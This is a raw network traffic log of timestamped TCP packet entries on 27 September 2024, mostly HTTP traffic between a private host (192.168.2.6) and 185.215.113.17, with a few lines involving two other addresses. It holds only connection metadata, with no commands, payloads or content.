Sep 27, 2024 16:18:31.119064093 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119110107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119139910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119160891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119194984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119227886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119265079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119265079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119297981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119309902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119332075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119359970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119364023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119434118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119467020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119467974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119502068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119535923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119541883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119577885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119611025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119643927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119663000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119677067 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119677067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119712114 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119744062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119745970 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119779110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119812965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119846106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119852066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119879007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119889975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119913101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119946003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.119949102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.119999886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120032072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120050907 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120064974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120098114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120117903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120153904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120187044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120218039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120225906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120259047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120264053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120292902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120326042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120328903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120359898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120381117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120393991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120429039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120429993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120429993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120465040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120496035 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120496988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120532036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120563984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120593071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120611906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120611906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120625973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120659113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120687962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120721102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120732069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120732069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120732069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120769978 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120778084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120811939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120846033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120877028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.120973110 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:31.120980024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.120980024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121004105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121007919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121037960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121071100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121108055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121108055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121110916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121161938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121187925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121195078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121228933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121233940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121268034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121299982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121308088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121329069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121361971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121364117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121416092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121444941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121448994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121484041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121484995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121519089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121551991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121578932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121613979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121627092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121628046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121663094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121696949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121701956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121731997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121764898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121768951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121800900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121834993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121857882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121871948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.121898890 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.121987104 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122020960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122071028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122075081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122107029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122139931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122175932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122194052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122194052 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122226000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122258902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122258902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122292042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122327089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122381926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122386932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122386932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122416973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122451067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122461081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122486115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122520924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122554064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122555017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122555017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122555017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122586966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122591019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122622013 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122656107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122661114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122690916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122692108 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122724056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122756958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122776031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122792959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122827053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122859955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122893095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122925997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122931957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122931957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122931957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122931957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.122958899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.122991085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123013973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123043060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123075008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123086929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123110056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123111963 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123145103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123158932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123188019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123197079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123246908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123279095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123295069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123310089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123357058 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123362064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123447895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123481989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123486042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123517990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123550892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123558044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123591900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123624086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123626947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123658895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123684883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123692036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123728991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123768091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123801947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123836040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123862982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123862982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123862982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123871088 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123903990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123939037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123943090 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.123971939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.123975992 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124006987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124039888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124073982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124104977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124119997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124120951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124138117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124138117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124171972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124205112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124222040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124222040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124237061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124269009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124280930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124280930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124300957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124332905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124366045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124377012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124377012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124393940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124403000 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124430895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124432087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124466896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124470949 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124470949 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124501944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124535084 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124567986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124598980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124598980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124599934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124635935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124669075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124697924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124703884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124732971 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124737978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124772072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124788046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124804974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124810934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124839067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124871016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124891043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124902010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.124905109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124942064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124974012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.124984026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125009060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125041962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125049114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125072956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125101089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125113964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125149012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125180960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125181913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125215054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125261068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125267982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125300884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125334978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125368118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125370026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125402927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125459909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.125507116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125507116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.125622988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126415014 CEST	80	49622	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:31.126447916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126477003 CEST	49622	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:31.126481056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126514912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126517057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126550913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126569986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126584053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126585960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126620054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126652956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126657963 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126687050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126708031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126708031 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126720905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126754999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126787901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126790047 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126823902 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126825094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126857996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126888037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126892090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126925945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126959085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126991987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126992941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.126991987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.126991987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127027988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127060890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127094984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127094984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127130032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127160072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127163887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127196074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127216101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127229929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127263069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127264023 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127296925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127330065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127355099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127366066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127407074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:31.127437115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127473116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:31.127506971 CEST	80	49613	185.215.113.17	192.168.2.6
